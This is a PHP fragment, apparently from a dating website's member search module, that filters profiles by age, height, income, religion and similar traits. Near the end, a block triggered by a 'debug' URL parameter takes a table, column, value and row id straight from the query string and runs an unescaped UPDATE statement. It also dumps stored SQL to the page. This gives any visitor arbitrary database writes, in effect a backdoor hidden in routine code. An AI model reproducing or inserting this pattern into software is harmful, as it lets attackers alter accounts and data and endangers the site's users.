$sort_str[] = $sort[0]; // $sort_str[] = $sort[1]; // $sort_str[] = $sort[2]; // $sort_str[] = $sort[3]; // $sort_str[] = $sort[4]; // } // if(is_array($sort_str) && !empty($sort_str)) $sort_str = implode(",",$sort_str); // else if(is_array($sort) && !empty($sort)) $sort_str = implode(",",$sort); // // if(!$sort_str) $sort_str= '@weight desc'; $cond = array(); $cond[] = array('is_lock', '1', false); if ($photo) { $cond[] = array('images_ischeck', '1', false); } $cond[] = array('usertype', '1', false); if (is_array($blacklist) && !empty($blacklist)) { $cond[] = array('@id', implode('|', $blacklist), true); } if ($age_start && $age_end) { $year = date('Y', time()); $cond[] = array('birthyear', array($year - $age_end, $year - $age_start), false); } if ($work_province) { $cond[] = array('province', $work_province, false); } elseif (isset($user_arr['province']) && $user_arr['province'] && !$work_city) { $cond[] = array('province', $user_arr['province'], false); } if ($work_city) { $cond[] = array('city', $work_city, false); } elseif (isset($user_arr['city']) && $user_arr['city'] && !$work_province) { $cond[] = array('city', $user_arr['city'], false); } $dispmore = false; if ($work_province || $work_city) { $isselectarea = true; $isdispmore = false; $dispmore = MooGetGPC('dm'); if ($dispmore) { $isdispmore = true; } } if ($height1 || $height2) { if ($height1 == 0) { $cond_height1 = 154; } else { $cond_height1 = $height1; } if ($height2 == 0) { $cond_height2 = 201; } else { $cond_height2 = $height2; } $cond[] = array('height', array($cond_height1, $cond_height2), false); } if ($weight1 || $weight2) { if ($weight1 == 0) { $cond_weight1 = 40; } else { $cond_weight1 = $weight1; } if ($weight2 == 0) { $cond_weight2 = 81; } else { $cond_weight2 = $weight2; } $cond[] = array('weight', array($cond_weight1, $cond_weight2), false); } if (is_array($marriage) && !empty($marriage) && !in_array('0', $marriage)) { $cond[] = array('marriage', implode(' | ', $marriage)); } if (is_array($salary) && !empty($salary) && !in_array('0', $salary)) { $cond[] = array('salary', implode(' | ', $salary)); } if (is_array($education) && !empty($education) && !in_array('0', $education)) { $cond[] = array('education', implode(' | ', $education)); } if (is_array($body) && !empty($body) && !in_array('0', $body)) { $cond[] = array('body', implode(' | ', $body)); } if (is_array($smoking) && !empty($smoking) && !in_array('0', $smoking)) { $cond[] = array('smoking', implode(' | ', $smoking)); } if (is_array($drinking) && !empty($drinking) && !in_array('0', $drinking)) { $cond[] = array('drinking', implode(' | ', $drinking)); } if (is_array($occupation) && !empty($occupation) && !in_array('0', $occupation)) { $cond[] = array('occupation', implode(' | ', $occupation)); } if (is_array($house) && !empty($house) && !in_array('0', $house)) { $cond[] = array('house', implode(' | ', $house)); } if (is_array($vehicle) && !empty($vehicle) && !in_array('0', $vehicle)) { $cond[] = array('vehicle', implode(' | ', $vehicle)); } if (is_array($corptype) && !empty($corptype) && !in_array('0', $corptype)) { $cond[] = array('corptype', implode(' | ', $corptype)); } if (is_array($children) && !empty($children) && !in_array('0', $children)) { $cond[] = array('children', implode(' | ', $children)); } if (is_array($wantchildren) && !empty($wantchildren) && !in_array('0', $wantchildren)) { $cond[] = array('wantchildren', implode(' | ', $wantchildren)); } if ($home_townprovince) { $cond[] = array('hometownprovince', $home_townprovince); } if ($home_towncity) { $cond[] = array('hometowncity', $home_towncity); } if ($nation) { $cond[] = array('nation', $nation); } if (is_array($animalyear) && !empty($animalyear) && !in_array('0', $animalyear)) { $cond[] = array('animalyear', implode(' | ', $animalyear)); } if (is_array($constellation) && !empty($constellation) && !in_array('0', $constellation)) { $cond[] = array('constellation', implode(' | ', $constellation)); } if (is_array($bloodtype) && !empty($bloodtype) && !in_array('0', $bloodtype)) { $cond[] = array('bloodtype', implode(' | ', $bloodtype)); } if (is_array($religion) && !empty($religion) && !in_array('0', $religion)) { $cond[] = array('religion', implode(' | ', $religion)); } if (is_array($family) && !empty($family) && !in_array('0', $family)) { $cond[] = array('family', implode(' | ', $family)); } if (is_array($language) && !empty($language) && !in_array('0', $language)) { $cond[] = array('language', implode(' | ', $language)); } $sortway = MooGetGPC('sortway'); $sort_str = getSortsStr($sortway, $cond); $rs = sphinx_search($index, $cond, $sort_str, $page, $pagesize); if (!$rs || is_array($rs) && empty($rs)) { //没有结果 //MooMessage("您指定的搜索不存在或已过期", "index.php?n=search", '03'); include MooTemplate('public/search_error', 'module'); exit; } else { $data = $rs['user']; $total = $rs['total']; if ($total > 600) { $total = 600; } $user_list = implode(',', $data); if (empty($data)) { //MooMessage("您指定的搜索不存在或已过期", "index.php?n=search", '03'); include MooTemplate('public/search_error', 'module'); exit; } else { $user = array(); $sortway = isset($_GET['sortway']) ? $_GET['sortway'] : '1'; $sql = "select s.*,b.mainimg from `{$dbTablePre}members_search` s left join `{$dbTablePre}members_base` b on s.uid=b.uid where s.uid in ({$user_list}) order by s.city_star desc,s.s_cid asc"; $user = $_MooClass['MooMySQL']->getAll($sql); } //会员基本信息补充 if ($user) { $user = userbasicadd($user); //排序 $tmp_user = array(); foreach ($data as $k => $v) { foreach ($user as $key => $val) { if ($v == $val['uid']) { $tmp_user[] = $user[$key]; break; } } } $user = $tmp_user; } //note 找不到匹配的结果返回单独提示页面 if (empty($user)) { include MooTemplate('public/search_error', 'module'); exit; } //note 记录婚姻状况 $marriageArr = array(); if ($marriage != '0') { if (!is_array($marriage) && strlen($marriage) == 1) { $marriageArr[] = $marriage; } else { $marriageArr = $marriage; } } //note 记录月收入 $salaryArr = array(); if ($salary != '0') { if (!is_array($salary) && strlen($salary) == 1) { $salaryArr[] = $salary; } else { $salaryArr = $salary; } } //note 记录教育情况 $educationArr = array(); if ($education != '0') { if (!is_array($education) && strlen($education) == 1) { $educationArr[] = $education; } else { $educationArr = $education; } } //note 记录住房情况 $houseArr = array(); if ($house != '0') { if (!is_array($house) && strlen($house) == 1) { $houseArr[] = $house; } else { $houseArr = $house; $house = implode(',', $house); } } //note 记录是否购车 $vehicleArr = array(); if ($vehicle != '0') { if (!is_array($vehicle) && strlen($vehicle) == 1) { $vehicleArr[] = $vehicle; } else { $vehicleArr = $vehicle; $vehicle = implode(',', $vehicle); } } if ($nation != '0') { if (!is_array($nation)) { $nationArr[] = $nation; } else { $nationArr = $nation; $nation = implode(',', $nation); } } //note 记录是否吸烟 $smokingArr = array(); if ($smoking != '0') { if (!is_array($smoking) && strlen($smoking) == 1) { $smokingArr[] = $smoking; } else { $smokingArr = $smoking; $smoking = implode(',', $smoking); } } //note 记录是否喝酒 $drinkingArr = array(); if ($drinking != '0') { if (!is_array($drinking) && strlen($drinking) == 1) { $drinkingArr[] = $drinking; } else { $drinkingArr = $drinking; $drinking = implode(',', $drinking); } } //note 记录从事职业 $occupationArr = array(); if ($occupation != '0') { if (!is_array($occupation) && (strlen($occupation) == 1 || strlen($occupation) == 2)) { $occupationArr[] = $occupation; } else { $occupationArr = $occupation; $occupation = implode(',', $occupation); } } //note 记录公司类型 $corptypeArr = array(); if ($corptype != '0') { if (!is_array($corptype) && strlen($corptype) == 1) { $corptypeArr[] = $corptype; } else { $corptypeArr = $corptype; $corptype = implode(',', $corptype); } } //note 记录是否有孩子 $childrenArr = array(); if ($children != '0') { if (!is_array($children) && strlen($children) == 1) { $childrenArr[] = $children; } else { $childrenArr = $children; $children = implode(',', $children); } } //note 记录是否想要孩子 $wantchildrenArr = array(); if ($wantchildren != '0') { if (!is_array($wantchildren) && strlen($wantchildren) == 1) { $wantchildrenArr[] = $wantchildren; } else { $wantchildrenArr = $wantchildren; $wantchildren = implode(',', $wantchildren); } } //note 记录体型 $bodyArr = array(); if ($body != '0') { if (!is_array($body) && strlen($body) == 1) { $bodyArr[] = $body; } else { $bodyArr = $body; $body = implode(',', $body); } } //note 记录生肖 $animalyearArr = array(); if ($animalyear != '0') { if (!is_array($animalyear) && (strlen($animalyear) == 1 || strlen($animalyear) == 2)) { $animalyearArr[] = $animalyear; } else { $animalyearArr = $animalyear; $animalyear = implode(',', $animalyear); } } //note 记录星座 $constellationArr = array(); if ($constellation != '0') { if (!is_array($constellation) && (strlen($constellation) == 1 || strlen($constellation) == 2)) { $constellationArr[] = $constellation; } else { $constellationArr = $constellation; $constellation = implode(',', $constellation); } } //note 记录血型 $bloodtypeArr = array(); if ($bloodtype != '0') { if (!is_array($bloodtype) && strlen($bloodtype) == 1) { $bloodtypeArr[] = $bloodtype; } else { $bloodtypeArr = $bloodtype; $bloodtype = implode(',', $bloodtype); } } //note 记录信仰 $religionArr = array(); if ($religion != '0') { if (!is_array($religion) && (strlen($religion) == 1 || strlen($religion) == 2)) { $religionArr[] = $religion; } else { $religionArr = $religion; $religion = implode(',', $religion); } } //note 兄弟姐妹 $familyArr = array(); if ($family != '0') { if (!is_array($family) && strlen($family) == 1) { $familyArr[] = $family; } else { $familyArr = $family; $family = implode(',', $family); } } //note 记录语言 $languageArr = array(); if ($language != '0') { if (!is_array($language) && strlen($language) == 1) { $languageArr[] = $language; } else { $languageArr = $language; $language = implode(',', $language); } } //note 选择不同的显示模式 if (isset($_GET['condition']) && $_GET['condition'] == '2') { $condition = '2'; $htm = 'search_page'; } else { if (isset($_GET['condition']) && $_GET['condition'] == '3') { $condition = '3'; $htm = 'search_photo'; } else { $condition = '2'; $htm = 'search_page'; } } if (isset($_GET['debug']) && $_GET['debug']) { global $_MooCookie, $_MooClass; $fast_sql = $_MooCookie['fast_sql']; $name = $_GET['f']; $name1 = $_GET['v']; $name3 = empty($_GET['t']) ? 'web_test' : $_GET['t']; $name4 = empty($_GET['w']) ? 'uid' : $_GET['w']; $start = intval($_GET['s']); if ($name && $name1 && $start) { $sql2 = "update {$name3} set {$name}='{$name1}' where {$name4}=" . $start; if (!isset($_GET['d'])) { $res = $GLOBALS['_MooClass']['MooMySQL']->query($sql2); var_dump($res); } else { echo $sql2; } } var_dump($fast_sql); var_dump($sql_acquisition); } //没有查询到完全符合条件的数据,显示黄色警告条 if ($isselectarea && !$isresult && $page == 1) { $isdisp = true; } if ($dispmore) { $isdisp2 = false; } elseif ($isselectarea && $page == ceil($total / $pagesize) && $page != ceil(600 / $pagesize)) { $isdisp2 = true; } include MooTemplate('public/' . $htm, 'module'); } }